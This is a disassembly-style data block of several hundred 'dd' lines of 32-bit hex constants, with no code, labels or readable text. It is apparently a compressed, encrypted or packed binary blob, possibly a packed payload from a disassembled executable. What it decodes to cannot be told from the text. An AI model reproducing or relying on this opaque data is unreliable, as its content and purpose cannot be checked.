dd 0D642B200h, 40DBBBC9h, 0ACBC1FF9h, 32D840E3h, 45DF5C75h
dd 0D60DCF00h, 0D13D59DCh, 30AC07ABh, 13A26D9h, 0C88051DEh
dd 1600C8D7h, 0B5BFD061h, 21B4F4h, 56B3C423h, 0CFBA9599h
dd 0BDA50F07h, 2209EB8h, 880828h, 0D9B25F05h, 0E924C60Ch
dd 87B10B00h, 112F6F7Ch, 5868004Ch, 0C1611DABh, 66002D3Dh
dd 0DC4190B6h, 710676h, 20BC01DBh, 102A98D2h, 89EFD507h
dd 1FE0B185h, 6B6B5h, 9FBFE4A5h, 0E8B8D433h, 7C9A203h
dd 80F93478h, 0A88E0Fh, 98189609h, 0DBBE10Eh, 2D7F6A00h
dd 97086D3Dh, 9164006Ch, 0E6635C01h, 6B7151F4h, 8161623Eh
dd 6530D81Ch, 0D0C34E85h, 7D95EDF2h, 0A57B0006h, 0F4C11B01h
dd 57008208h, 0C6F50FC4h, 65B0D9h, 12B7E950h, 8BBEB8EAh
dd 0B9887C00h, 0DD1DDFFCh, 2D490762h, 0D0F315DAh, 4C658CD3h
dd 58FBD401h, 0CE4DB261h, 703A2D20h, 0A3BC0074h, 0D4BB30E2h
dd 0DF06A541h, 0D895D74Ah, 0D1C400C4h, 0D6F4FBA4h, 0E9006AD3h
dd 0D9FC4369h, 46346Eh, 0D0AD6788h, 73DA60B8h, 44042D00h
dd 33031DE5h, 0A4C005Fh, 0D7CC9AAh, 711E3CDDh, 41435005h
dd 88102702h, 86BE0Bh, 25C90C20h, 0B35768B5h, 6F853Dh
dd 0B966D409h, 61E49Fh, 0DEF90ECEh, 0D9C9985Eh, 8022293Ah
dd 0A8B4B0D0h, 717C7D7h, 8159B33Dh, 3B2EA00Dh, 0B700BD5Ch
dd 0C0BA6CADh, 1B88320h, 0BFB3B6EDh, 0D9E20C9Ah, 0B1D2D403h
dd 47397401h, 77AFEAD5h, 159DE4h, 8304DB26h, 1273DC16h
dd 0E3630B00h, 94643B84h, 6D6A073Eh, 575AA80Dh, 0ECFF07Ah
dd 0FF079DE4h, 0AE279309h, 9EB10A00h, 447D3D07h, 0D2F00F00h
dd 688708A3h, 1E01F200h, 6906C2FEh, 6257005Dh, 6567CBF7h
dd 360F7180h, 0E0E7196Ch, 1B766E6Bh, 0E0FE00D4h, 5A89D32Bh
dd 1000DA7Ah, 67DD4ACCh, 71B9DF6Fh, 0BEEF0EF9h, 0B763438Eh
dd 0B0B0D517h, 0A338E860h, 937E80D6h, 0C2C4A1D1h, 523800D8h
dd 0F14FDFF2h, 0CCFBBB67h, 0A600BC57h, 3FB506DDh, 0B2364Bh
dd 0D2BDA48h, 0A1B4CD8h, 4AF6AF0Fh, 7A60C003h, 76C34104h
dd 55DF39EFh, 0C0A8671Dh, 79316E8Eh, 460069BEh, 0CB61B38Ch
dd 66831Ah, 6FD2A0BCh, 68E23625h, 77955200h, 4703CC0Ch
dd 0B9BB000Bh, 2F220216h, 55030526h, 0C5BA3BBEh, 0B2BDF828h
dd 0B45A0092h, 0B36A042Bh, 0FF00A75Ch, 0CF31C2D7h, 8BB5D0h
dd 1D2CD99Eh, 0B05BDEAEh, 9B0064FCh, 0EC63F226h, 6AA39Ch
dd 6D930A75h, 906A902h, 36003FF6h, 6785EB0Eh, 70137207h
dd 82050057h, 1495BF4Ah, 0E200B87Ah, 7BB12BAEh, 0B61B38h
dd 0D28E9B0Ch, 0D5BE0D92h, 0EFB7E500h, 0DF217CDCh, 0D40B3FDBh
dd 4286D387h, 0F8F160E2h, 6800DDB3h, 1FDA836Eh, 0BE16CDh
dd 0B9265B81h, 0B077E1F6h, 47046F73h, 5AE618B7h, 6A707EC0h
dd 0CAFF000Fh, 5C66063Bh, 1179010Bh, 8F659E00h, 0F862AE69h
dd 4C6BF2D3h, 6C00C561h, 0AE27816h, 0D200EEA0h, 8354D70Dh
dd 0C24E04h, 613903B3h, 0F7A76726h, 0D0601600h, 4969474Dh
dd 6E7700DBh, 0D16A4A3Eh, 5A00DCAEh, 0B66D9D6h, 0FF040DFh
dd 5337D83Bh, 0C5A9BCC0h, 0DE00BB9Eh, 47B2CF7Fh, 0EB5FFE9h
dd 0BDF21C30h, 0BAC28A21h, 0B393E4CAh, 0A3A65300h, 360524B4h
dd 6ECFBD0h, 29CD00D7h, 0BF54DE57h, 2300D967h, 0B3667A2Eh
dd 614AB8h, 681B02C4h, 6F2B945Dh, 0BE372A00h, 8EA1B40Bh
dd 0C37F0Ch, 8D5A05DFh, 2E2D02EFh, 48000BAh, 541C4547h
dd 489D2F20h, 3503B7Bh, 0D302E31h, 736FD00Ah, 203A1D74h
dd 41147125h, 0F468E575h, 7A3B6972h, 6EEEF461h, 654E26C4h
dd 0DD14C486h, 0D61DEA1Ah, 1C447004h, 7C271C7h, 0A7553F8Ch
dd 0FF84C501h, 0CFF225Ch, 8D3F70F5h, 0C4105094h, 3462BF24h
dd 2472C43Bh, 8C5C8030h, 40AC69F0h, 10460886h, 1862C015h
dd 3A805198h, 0D4111CAh, 83126F07h, 0F04517CAh, 0E2AA8831h
dd 9BE2E99h, 4C47C45Fh, 74424F3Eh, 457D48F0h, 5375507Dh
dd 5443DCFBh, 9FE144F4h, 565E4D31h, 482352DFh, 306143Eh
dd 6DD0137h, 2FA1003h, 456404EEh, 35210502h, 3C24430h
dd 38282021h, 80758C0h, 307137E0h, 0B8F15779h, 17A3FC21h
dd 0CB6860A9h, 70120367h, 0FF037816h, 3C6E45B8h, 0CD0F37FEh
dd 70F0705h, 76E0728h, 56C0675h, 3FAA2953h, 0FBFBFE28h
dd 795F171Eh, 2C310972h, 720D66C8h, 39707865h, 506F6DE0h
dd 3F5F2464h, 7CC87968h, 61631160h, 21D67362h, 99208310h
dd 5016663Fh, 10C41784h, 0B1866F6Ch, 65631B11h, 111BBE69h
dd 0E3A86174h, 0FF36726Fh, 711F10BBh, 6514E872h, 34322B61h
dd 42105A08h, 4BDA3C2Fh, 46683419h, 88B2F08h, 86082F45h
dd 303167B6h, 77898111h, 0D5FD56C3h, 17EC080h, 80894150h
dd 0F0477220h, 28737C49h, 0ED816F72h, 468A87DEh, 0A375CA6Ch
dd 1C206FCBh, 27D6E4Ah, 4E52454Bh, 32336540h, 2B6535A0h
dd 15E53071h, 2964A820h, 0DC169042h, 0A0102909h, 2AEA2908h
dd 11C81910h, 1808A2D2h, 102D1A33h, 2828A51Eh, 8519CE7Ch
dd 4DA13895h, 0CD39182Eh, 1C083D11h, 448EA318h, 18D0938Fh
dd 2006B4BDh, 742033B8h, 332CA4BCh, 7010346Ch, 75720914h
dd 6D6913B3h, 0D1BCED1Ch, 50B6F3CFh, 3842544Ch, 480ED253h
dd 4945DFFCh, 0F2D474Eh, 504F44C0h, 0A54EFC4Dh, 36520112h
dd 8D383230h, 90202D12h, 1E6C9E43h, 0A46F7490h, 4159394Ah
dd 0CE52B07Ch, 147E681Ch, 28903870h, 6E123721h, 0F7CE21Bh
dd 6867750Ah, 86707364h, 666A4896h, 770A76F1h, 665A3969h
dd 3938858Bh, 0C4C2B4C6h, 9038B564h, 2E708935h, 6976A49Bh
dd 448D16C7h, 51A668A0h, 0B6E72463h, 52A1FD1Ah, 60349428h
dd 56D25FFCh, 2FBA0519h, 8207B2A0h, 38E312DDh, 0AF393160h
dd 703B39F8h, 2164B3EDh, 0BB21A413h, 2CCAE837h, 25193859h
dd 828ECE53h, 1A1A64C9h, 248158B4h, 6D2C1F37h, 0B0AD2033h
dd 61C0819Dh, 2B2218A8h, 0CA306B63h, 3586DC18h, 0B4FE35E5h
dd 0A318065Fh, 926D7244h, 82706701h, 0B6DE9F67h, 21FF9642h
dd 71305E37h, 0F6503953h, 2642AB22h, 0B4E06D56h, 382C485Eh
dd 0FACFF1D6h, 73298475h, 6151608Ah, 0B5D62C04h, 676E28DFh
dd 0CBCF183h, 25A83BD5h, 8058E527h, 0D42E904Dh, 66333AC2h
dd 79D7562Ch, 2B43AB10h, 3752EDE3h, 0A84C3A9Dh, 79E4B562h
dd 0A30A28A1h, 4512175Dh, 2B210F23h, 0CD55024h, 2E41203Ah
dd 3C1402DCh, 0E11BA4E6h, 6B5A344Dh, 336AA1DAh, 45ED8408h
dd 4709F10Ch, 4C746517h, 4113101Dh, 0A76134Bh, 7516BFBFh
dd 1928EF5Ah, 0A6425710h, 4D04E964h, 7E61E364h, 58427B67h
dd 3107FB78h, 6E4E5123h, 0C311345Ch, 22854602h, 53194408h
dd 7DAC1851h
dd 60E2A88Ch, 0F688D508h, 0B4F88162h, 1021C221h, 8C666332h
dd 0D276AC64h, 0BA6964AAh, 790D2672h, 4C8522FBh, 407E3158h
dd 2C48625Bh, 201A8A14h, 968C5743h, 88E01227h, 64A541C4h
dd 0C111B80Ch, 2B5D638Ah, 28DA5508h, 7B784883h, 0B246702Ah
dd 6D730BD0h, 0B59E01E0h, 20090360h, 0BB199305h, 67384208h
dd 0C6483C07h, 0B95311B5h, 69AD100Ch, 1046B13Ah, 0E306A0Ah
dd 43DAE409h, 0C6844BBh, 4231FCC6h, 0A678F201h, 960860F4h
dd 9502D10Eh, 0B4149009h, 299C400Ch, 10DB651Ch, 22482B02h
dd 0C44C85C0h, 0FAD84803h, 29E84406h, 0B14C3C53h, 841B7E0Ch
dd 3797E24h, 293C3444h, 0E2F85360h, 0A430B658h, 14705604h
dd 78143CD0h, 18A9707Eh, 0A98F9C30h, 14A81464h, 288ACD4h
dd 0F148F09Ah, 8C10D2CCh, 1CA46A90h, 30108868h, 0DC7F08EFh
dd 0BC21B447h, 14850E4h, 423C609Eh, 42F42AB4h, 290490B8h
dd 8E586878h, 774043DAh, 288160A6h, 0D1904F88h, 0CC6843ECh
dd 981A090Ch, 681491CCh, 111C711Ch, 0F1196218h, 82880BDBh
dd 0E4330391h, 929C8D9h, 688F74ACh, 80899161h, 4FECCCB1h
dd 80427898h, 0FE2408E4h, 0C40F4479h, 68386B10h, 4014E985h
dd 0DE44A885h, 1E808C71h, 95DC772Bh, 22CAA8A8h, 0BC85960h
dd 40A102C8h, 3160BAC2h, 830810ECh, 6328AE02h, 71C4196Eh
dd 81440814h, 8B82A114h, 2070199Ah, 405D0117h, 53524556h
dd 4E4F4903h, 8F6C642Eh, 73FF5508h, 0
dd 0C3000000h, 40120503h, 88DB3C81h, 23F0EC08h, 0DA320701h
dd 0B0D0141h, 0DF3EC142h, 4F620810h, 0E3140146h, 73A10C41h
dd 1460E4Fh, 80060230h, 42549170h, 189A008h, 6372104Ch
dd 1B581262h, 0C8B0810h, 3307E410h, 32D15945h, 0C7530111h
dd 414088Eh, 0A242EA2h, 6310044Ah, 538B4F44h, 62614084h
dd 665736Fh, 7620376Ch, 637B1834h, 849BEAF9h, 74721200h
dd 642E3169h, 7B32F46Eh, 1C98EF67h, 4623286Dh, 4B754171h
dd 256139CEh, 242E2E64h, 6E6977C3h, 721FBAC6h, 0BB7A6376h
dd 7110D278h, 623A747Ch, 57196661h, 776F0639h, 40532073h
dd 0EC66373h, 0E0346741h, 0FC24A42Dh, 0AEA0E579h, 782D1F25h
dd 0A90A92Bh, 50046623h, 0F8A199C8h, 880991A8h, 48446822h
dd 666F0053h, 72617774h, 4D1D5C65h, 0CFA86369h, 5FA91DDEh
dd 75430DBCh, 0B69B3072h, 69E1CC56h, 52FBE36Fh, 0FA0CDFFh
dd 0A14FA430h, 43A37576h, 4C4FA038h, 5931CE45h, 4DEA544Eh
dd 70FBCE3Ch, 6C6D3CA6h, 0B0D3C70h, 12214CE1h, 8E8C47C2h
dd 70237468h, 778B2F3Ah, 662E021Bh, 668E8F64h, 48F87462h
dd 2F80446Eh, 7376787Ah, 0B9E7CFEBh, 6292040Fh, 0E0A63835h
dd 18440928h, 1104890Ch, 0F40298FCh, 0E048EC24h, 0D022D891h
dd 89BCC844h, 24AC12B4h, 919C48A0h, 80902294h, 53DB8801h
dd 8CF25443h, 74488024h, 60226C91h, 89545844h, 244C1250h
dd 91444848h, 6434223Ch, 4824092Ch, 700C9118h, 8197F888h
dd 24E812F0h, 91D848E0h, 339842D0h, 22C011C8h, 0B044B809h
dd 0AC118AA4h, 94119F9Ch, 8C19D42Bh, 9918411h, 4474227Ch
dd 60896C70h, 48245412h, 34914048h, 28442C22h, 12148920h
dd 4404240Ch, 0F40896FCh, 0E422EC91h, 89DCE044h, 24D412D8h
dd 91CC48D0h, 44C022C8h, 0A889B0B8h, 9824A012h, 90919448h
dd 91148829h, 447C2280h, 68897074h, 58246012h, 6454504Ah
dd 91404848h, 442C2238h, 0C891820h, 0FC220412h, 9F40695h
dd 89ECF044h, 24DC12E4h, 91C848D4h, 33B852B8h, 22A811B0h
dd 8C449C09h, 12708984h, 46CC2A6Ch, 60641164h, 48485C09h
dd 0E8523C91h, 30113833h, 44280922h, 14891820h, 8240C12h
dd 0F820225Ch, 0E8F04494h, 0DC12E089h, 0D0475C2Ah, 4D489CC9h
dd 10CC30F4h, 0C69A6909h, 65756174h, 0B86C10A1h, 0EE6D3E12h
dd 0AC631624h, 8F73FB70h, 692B6206h, 118E216Bh, 522A5636h
dd 3F76748h, 187A7078h, 694C6BF8h, 19688DFDh, 58655330h
dd 0DD76216Dh, 7170F341h, 7964202Eh, 6362702Ch, 34EEA69h
dd 376D6268h, 0F7BB7288h, 3B1A5A74h, 605071BBh, 2212A56Fh
dd 4E62E114h, 31626401h, 56343332h, 616F0808h, 6552F93Ch
dd 7F772D43h, 1451D182h, 7A1C1168h, 26B4102Fh, 100C26A4h
dd 65E263EAh, 8402B084h, 0A32085DAh, 220CA310h, 0DCB48BC8h
dd 0ACBC2B5Eh, 0BC5236FCh, 0E908786Fh, 62201875h, 6763EE69h
dd 0FE661168h, 6D116BEEh, 1E431E36h, 1C58BD67h, 92756BD2h
dd 0C9747E08h, 2A0F6E28h, 9A6541D4h, 26636467h, 0D4C5110Ch
dd 300A7972h, 3228BC6Bh, 408B0884h, 7978C41h, 7ADADE4Ah
dd 0A0683899h, 25FD3812h, 0BA9F4794h, 33BE6E90h, 2E286242h
dd 73394861h, 6C085375h, 0DE6D1428h, 486B1538h, 0A0E4703Fh
dd 6F6A4272h, 29C84668h, 2018696Dh, 0B2D48CBCh, 0DB44A695h
dd 0BCA72E40h, 0CBF16246h, 5777181h, 83EE9D86h, 0EB367CAAh
dd 35FC44EAh, 0CD023032h, 510C26D4h, 320808EFh, 39116B46h
dd 595C9738h, 456D9632h, 1019B4C6h, 841829Ah, 309ACC2h
dd 0F5F3FB68h, 9C280C39h, 6C7A9894h, 6770BC75h, 92D20CAEh
dd 93529066h, 3745AE90h, 37A0EA08h, 3F0EF93Ah, 9CAA6BA9h
dd 89B0C808h, 46227472h, 386E756Eh, 5E761ECAh, 745D0625h
dd 9626E1EFh, 6C316842h, 0B77875A2h, 0F09EC011h, 6F30648Ch
dd 95DBFF84h, 73622059h, 0F14A6C54h, 33640834h, 31E4B877h
dd 1049A877h, 1F36359Ah, 0E9393837h, 0E7106E0Ch, 81B7208h
dd 0CE086784h, 84099B11h, 0AC61191Bh, 64777050h, 20C465C2h
dd 91288C08h, 93AEAAAEh, 0C80C48FCh, 4DF63D3Ch, 322CE86Dh
dd 0C4634458h, 0E2F4891Ch, 0ECA314C5h, 23A4661Fh, 6775DF20h
dd 50ABE5ACh, 90E0674Dh, 686864F8h, 6A323596h, 0A5E64E75h
dd 69A1A50Ah, 3675C091h, 0F3EB7043h, 531C8DECh, 0E18E66DBh
dd 8893D8Ch, 6EEB1D73h, 0C74FE3Ch, 69EC1DE5h, 230DC91Ch
dd 452C0F9Ah, 5249F810h, 76204301h, 31322E36h, 0AF214BD9h
dd 0EA64BE03h, 11AC24Dh, 422D6DBDh, 9CC279EDh, 0E1304720h
dd 0DC1F3731h, 402AF0E1h, 0DD9C92A6h, 34032D40h, 622F702h
dd 0E0E3F374h, 0F9614620h, 0A71E2F44h, 6890F8AAh, 3F5E36F3h
dd 10086A2Ch, 833ABF3Fh, 3E64253Ch, 346C852Eh, 0BF24AB53h
dd 33668E59h, 5CE6D25Fh, 5850B33Dh, 315A3874h, 982C33A9h
dd 73637A70h, 41C05FA5h, 7F462F56h, 9F6B5957h, 14F6836Fh
dd 642998F6h, 403A726Ch, 194B3011h, 42C6C444h, 2446D0F2h
dd 9C62496h, 0B7084223h, 0A265455Dh, 257D70ABh, 0B792B9FFh
dd 0C3A0E22h, 28065C1Ah, 0B80714h, 312C3803h, 6972562Dh
dd 0D1C26C58h, 0A0460343h, 753A6C9Ch, 4349184Eh, 0A0D154Bh
dd 4553550Dh, 30F11352h, 113A0594h, 41503861h, 61BC653h
dd 444F4D89h, 0F8C3F45h, 482F41E1h, 5954D54Fh, 24640A11h
dd 3A944D55h, 710F5C2Bh, 4381D5D5h, 0BB50C920h, 0B7A4CCDEh
dd 21C0A570h, 9D2A4420h, 646613Eh, 0A89048E0h, 7962E8F1h
dd 0A228A0CCh, 2906CA21h, 4F4E852Ch, 8EB61054h, 8483AC5h
dd 66454125h, 28643624h, 0B9549510h, 54475A32h, 8CE259F2h
dd 0D47476A5h, 869E1067h, 0EA58646Dh, 0CE3B0462h, 0CA2CB143h
dd 80E85150h, 0D87E565Eh, 0A06152C4h, 2CEF6D4Ah, 5D6B3E39h
dd 528290BEh, 4252A2A0h, 44A2B29Dh, 0C706E962h, 641342E5h
dd 6D472895h, 4E59203Ah, 0EB52654Ah, 4427D266h, 0C66827E7h
dd 0D1726F4Ah, 1065263Ch, 6923656Ch, 5B74D9A8h, 7D249320h
dd 0C577D40Ah, 4CC03A49h, 0DDE3FDDAh, 0F648029Ah, 34F47492h
dd 232C792Bh, 24AF7BE8h, 0CE6F4E42h, 81278608h, 4F2C66F0h
dd 282E5777h, 70E4538Ch, 4688F6E3h, 9928C451h, 0C846E7E1h
dd 663498DCh, 22784969h, 5048E8F7h, 1DD47313h, 0C8434E0Dh
dd 4C6E64E4h, 0AA690627h, 0F664022Dh, 2487B34Ch, 2D2D469Ah
dd 0D04BEC20h, 2F347596h, 0BD44418Ah, 0D066D3B6h, 0FA733D95h
dd 0FA3260D2h, 6AC7E26Eh, 4E281EF4h, 7520054Ch, 0F55B8D70h
dd 5827273Eh, 7679E538h, 0FA65DE71h, 8DF6A871h, 94C6B01Dh
dd 9430879Ch, 62961C50h, 0DC96649Ah, 85725085h, 302A44FFh
dd 23915046h, 3D522491h, 0ED442340h, 0A45710A4h, 0E01A5A91h
dd 0BC9A09C2h, 4630448Ch, 2C976593h, 0A72E482Ch, 0C44C9240h
dd 76CC6860h, 749A20DCh, 6974E532h, 0ED72194h, 4046723Eh
dd 4C5255C2h, 0EE207C6Dh, 9D637224h, 0B9EC5ECFh, 0ABBA87A6h
dd 6CE71C74h, 9ADF2D9Dh, 8E216C6Fh, 6D631454h, 73B23B64h
dd 18A12845h, 90874594h, 0BEB17E51h, 3CFFB122h, 235A55B0h
dd 0E8DD4A53h, 0BC90EC36h, 74D67C48h, 2EFE6463h, 0D8554B20h
dd 0B058585Eh, 0A16B6E55h, 20F7779Ch, 741364BAh, 50357079h
dd 0D758272Ah, 24568791h, 1C414EB3h, 6BC130C5h, 1A796525h
dd 0E5905102h, 101C596Eh
dd 383AB44Bh, 0B4411B0Fh, 249C7D45h, 0A32224E8h, 337A76FEh
dd 67DE306Ah, 4728C325h, 40D04791h, 47A2D4D1h, 592C689h
dd 5C5191BAh, 628305C9h, 9DBEE910h, 725A785Dh, 0C72A3387h
dd 436D33B9h, 2CB2485Dh, 40299045h, 69B50452h, 0B707E4A1h
dd 703A6517h, 1D142FAh, 67736DA4h, 1C7C1844h, 0A15D9941h
dd 6867691Bh, 6C637985h, 4150DC60h, 5C249C52h, 4A934D49h
dd 602D056Dh, 4445509Ah, 46B86C1Ah, 9463B8F1h, 28299455h
dd 50F41CD0h, 34A41D47h, 28246944h, 0A024900Bh, 4E494F4Ah
dd 18C8364Eh, 0A4E8CC96h, 414C9AEBh, 33CD6715h, 66A35163h
dd 0BDDEA469h, 683CA14Ch, 4C57242Ch, 50D266D5h, 0DC5CC88Eh
dd 0D275A5A7h, 699F69E3h, 54D93CE8h, 0C3E20B49h, 7050B53Bh
dd 7128CA6Dh, 0B32E2950h, 5270662Ch, 925B29Bh, 0C41C8911h
dd 4F3C919Fh, 0B348C477h, 3410A494h, 0CA64A918h, 29795A61h
dd 3A03127Ch, 750B98E7h, 0A9A6C270h, 3BAAE681h, 6D934449h
dd 62A64975h, 1CA7AF08h, 0B1D46866h, 69E22038h, 75D1F961h
dd 0BB5714ADh, 482E145Fh, 97274AA9h, 8F6E97C2h, 2A3F52C3h
dd 4C593C40h, 62123D61h, 0D768921h, 2562042Ch, 5A2A1952h
dd 5AB9376Dh, 0E3B62853h, 17973845h, 47C12B63h, 0B599D21Ch
dd 50BA1107h, 2E4A9E22h, 0D06AEC76h, 0DBEDB61Fh, 0F9900CEEh
dd 3CC8B48Dh, 2C555371h, 7F2DD729h, 394EB2D5h, 292C0D74h
dd 0B212A524h, 6BB33ED4h, 30747D4Bh, 70506D0Eh, 6E264924h
dd 0A63E0276h, 0D6536D64h, 95A2A560h, 154A9B67h, 308AA0F0h
dd 0AD47DA38h, 9B381ED2h, 7611AD12h, 0E4156229h, 967DB4CBh
dd 1A8274CDh, 3C687C6Fh, 0BF4C4351h, 0ACA1BE64h, 6048B69Bh
dd 0C6DDEED3h, 0EF58384Eh, 0D0D66F3Dh, 1A381DE9h, 2CF849D0h
dd 0FE7EE829h, 0E466FB79h, 6771A1EDh, 7730897Ch, 0D06B1C95h
dd 593847BAh, 3131ADB2h, 36188FEEh, 69B3EF25h, 37B8294Eh
dd 0E4784256h, 0B27A72EDh, 49E48FE9h, 3327A09Fh, 3D974E89h
dd 3A8AB690h, 3A634F08h, 4E1C46EBh, 4443EC7Fh, 50435482h
dd 39EF38BBh, 14C533BAh, 7FA13624h, 40D815B5h, 40431D53h
dd 0F364654Eh, 0DC63ECCAh, 8C7D4E25h, 6977352Fh, 252466F4h
dd 6D4A28FEh, 365B784Ch, 0DA82AB5Dh, 8940EE3Eh, 1BA12A10h
dd 41018010h, 4F495443h, 5BBD8F96h, 0D2BB4836h, 41313BB9h
dd 904C5E74h, 0A53BE43Ch, 0D4F4A242h, 6BFE0916h, 39727411h
dd 2D2D658Ah, 0F069EF24h, 39A4870Fh, 86E0A338h, 55D3433Fh
dd 61A22D92h, 6F34536Eh, 6D8BF366h, 1EDA7C48h, 75416DD8h
dd 8A977C22h, 90F048CDh, 2C25ABA0h, 0E006E08Bh, 70631850h
dd 946669A8h, 344261B8h, 614149B9h, 735E712Ah, 85585219h
dd 0BFCC7466h, 9F32ED55h, 26872997h, 95665A21h, 0DA30855Eh
dd 2849280Dh, 0D32D8F6Fh, 5E7C318Dh, 398D9493h, 0A2113A04h
dd 79620914h, 61A6E965h, 65D85EE2h, 2E020369h, 698D6C64h
dd 92867C70h, 17A8D7C4h, 0AA3977D3h, 0DAFC6885h, 259DA2D3h
dd 0DBB8F729h, 62A6FB2Dh, 3E032C14h, 79F109CBh, 84963A34h
dd 0B7700B4Fh, 6B3868C4h, 0C6B9D8CAh, 421F6B70h, 0DC2D7496h
dd 105650E1h, 7A6924A0h, 448D4C24h, 48C842B3h, 0D6676E46h
dd 4D673288h, 613E1C78h, 97CBCB67h, 7581336Ch, 660211B7h
dd 0E1796CDCh, 0B890344Ah, 0E28225F6h, 0B23A4312h, 1169B124h
dd 224EF334h, 659C5316h, 58345C35h, 6B26B2BCh, 69D84BC1h
dd 5A78393Fh, 95DA868Dh, 48EC216Ch, 66F86A65h, 1A9D1B69h
dd 96CF4E70h, 1DB79Eh, 504D4349h, 9927CB91h, 0A7557690h
dd 0D037DEB5h, 0D0B5536Bh, 75CA38E8h, 811147D3h, 91FD2E3Eh
dd 9F125272h, 74297DD4h, 9E637450h, 3821D527h, 5AD44DCBh
dd 48D13812h, 0F6CA6692h, 7C544EB2h, 347053C3h, 6FD46656h
dd 707910B4h, 4B70B59h, 968AEC72h, 0E06B94B4h, 2FA3DC68h
dd 17D3D4ECh, 0AA6DE4CCh, 246E4DBEh, 32F36965h, 0C63CE4ADh
dd 8A722418h, 0ACC259Dh, 3A992D12h, 0F50AEC74h, 2D108644h
dd 0ACA5D60Eh, 62A060D6h, 0D981A26Ah, 774B3E44h, 2E079C64h
dd 6E65C1FDh, 0BC50F164h, 40B44304h, 4E315664h, 54484C43h
dd 7CD650C5h, 0A6B34FE3h, 45542E42h, 2F64FE52h, 0F516DAAEh
dd 62DED2B4h, 41480848h, 4E4B5ACFh, 0D308B098h, 98C5A21h
dd 18B16014h, 0E4760832h, 0C70DB05h, 4140B784h, 0E25FF91Ch
dd 516A0489h, 6D701018h, 1B9508A6h, 67196E10h, 0B5963015h
dd 0D04C2DB6h, 414E0210h, 0DE4C455Ah, 5C282762h, 15BD6898h
dd 89930C74h, 0CF79E9DCh, 6453F997h, 0CE79D376h, 2C26A41Bh
dd 42058370h, 88D3FC09h, 734D69F8h, 13282404h, 0AB892995h
dd 8B7A3C42h, 105E185Ah, 0CE851A6h, 388DDFBDh, 7E550C14h
dd 466C2F38h, 0B80CB689h, 8D420853h, 5676929Eh, 0ADB0C93Ch
dd 0F381CA10h, 8228A000h, 385FF305h, 44414803h, 33AB5445h
dd 642BB069h, 7239C538h, 0D43C1770h, 7340939Eh, 1899D64Ah
dd 957C10AAh, 0B49A8C1Ah, 0A0D40408h, 0D26A450Ch, 0C20F87Eh
dd 0C18914EBh, 296D0C02h, 0C81277Ah, 0D10A1472h, 0BC489C77h
dd 41D7945h, 0CAAF91A9h, 24164591h, 0A561510Ah, 6B3CC22Bh
dd 0DCB2D471h, 9E96B3Ch, 2E97FFD0h, 1A684ED1h, 6B825C08h
dd 537428BAh, 273A7579h, 392E959Fh, 72D7311Ch, 0B479933Bh
dd 0F1AECFBh, 0AE9D2C1Ch, 4BF0BB21h, 1F847DBAh, 199C4E20h
dd 936CA764h, 72970F53h, 3AE44155h, 0D0414220h, 7019908Ch
dd 9C286695h, 94C62FA8h, 0FE84615Fh, 0CD2B406Dh, 43621A7Ah
dd 6239E420h, 4C468323h, 2AA03992h, 0BAD7F324h, 33EE026Bh
dd 243E5932h, 774DB4F6h, 0F8134B10h, 6C6F8926h, 5CED6B64h
dd 0A5970890h, 0D83D6FF4h, 0E826735Dh, 1B539D5Ah, 0C4D84F20h
dd 5A99B573h, 6B28E52Eh, 171D5B3Dh, 0BD58BEEAh, 0FEEE641Fh
dd 2C8574A1h, 686D6527h, 5328AC1Ch, 9168BCD4h, 86B5D3E1h
dd 0ED1F120Dh, 29D02C46h, 0D1F22AE4h, 0F12BB43Ch, 0DA4A7142h
dd 7853CAECh, 0A19B5BD2h, 0F84DAF37h, 0F96868A1h, 9C1C8656h
dd 0A30D6800h, 874394F7h, 0EA761C66h, 0A9E26548h, 852CB6C2h
dd 5EE72929h, 0F7A13C8Dh, 0E87887F6h, 308DD4FDh, 0C672F429h
dd 28208B8Ch, 0D7047210h, 63402840h, 0FF046D51h, 4AB0AD85h
dd 106828E3h, 19761A10h, 114DF8D4h, 4047D31h, 672033ABh
dd 415C0D5Ch, 628A3504h, 93CC59C8h, 92704832h, 22A0740Ch
dd 6E64284Ch, 0B1737004h, 996F17F5h, 280863C4h, 0ABB70472h
dd 5B4C925Eh, 2C322740h, 0D710C25h, 9FA7504h, 39265950h
dd 70773694h, 496A6529h, 414C8A6Eh, 87C42BAFh, 648A9FACh
dd 0F2472FA3h, 6DEDC625h, 458022Eh, 2A5AC957h, 0C767CD0Ah
dd 5FA914B4h, 0E2930F91h, 495201E0h, 47534D56h, 42A2293Eh
dd 149E7808h, 0AB660136h, 2C5EEF56h, 0AC760113h, 182BDE47h
dd 4169CBC9h, 0D5CB8D2Bh, 0E2E43CFDh, 0CF125A9Ch, 979248ECh
dd 4A688720h, 0E8FF68FAh, 4344D048h, 45E1E7E3h, 1C48DF4Eh
dd 466F495Ah, 6F704103h, 0A425141Ch, 0BBB32FAAh, 3BA8DD5Fh
dd 1A69AC49h, 9511A68h, 0A0525B1Fh, 0E858960Ch, 3F146E18h
dd 21684CD1h, 690CA408h, 3832EE42h, 0B8A1FA51h, 0FC7BC848h
dd 0B091E8B2h, 24990A9Ah, 40185B63h, 74A15F2Dh, 4DB8266Dh
dd 9E354ECDh, 0AF56D2A6h, 0A992BA5Ch, 5F34D17Ah, 85029E36h
dd 6EA632B4h, 5F3C54F9h
dd 0DC2EDEDCh, 1024F422h, 0F8F41418h, 0E1F1B58Ch, 43FE3B6Fh
dd 80DE4B1Bh, 0FDB540D0h, 91F696EFh, 5C8D5B4Ah, 5988E9A7h
dd 0CE6724ABh, 0CFD32C14h, 7BBC753Ch, 0D93E92A7h, 73642585h
dd 2824655Eh, 7DE470F8h, 0AD1C042Ch, 6E611268h, 39416BE7h
dd 722D4338h, 0A92F744h, 2A700384h, 0A8686CADh, 2B3A4EADh
dd 6976796Ch, 9EBF74C4h, 976686A8h, 58DB9EC4h, 175A770Eh
dd 0E2626D75h, 30DF5B5Dh, 0B54B345Ch, 0BBCB2AC5h, 33141955h
dd 0DF5A2C2Bh, 0C3502D10h, 506BC64Fh, 79569142h, 0E2555049h
dd 0C57AF626h, 45215822h, 86562E06h, 52F6B4CDh, 0DBA621E9h
dd 2128242Ah, 2D324054h, 9FFA485Ch, 0A6A44BFFh, 0CF909629h
dd 8F5ADCF5h, 4F1A903Eh, 3C91389Eh, 994AA0D0h, 55B80CA7h
dd 781A6E55h, 0A538A2Ah, 624534E8h, 2D7F74B1h, 0E9B72CD0h
dd 0FE9946Dh, 2F294E40h, 0ECF4742Fh, 0A062A447h, 0BDB0EB6Fh
dd 3C91696Ah, 5A656AA4h, 697044DEh, 84791946h, 2CFCEF2Fh
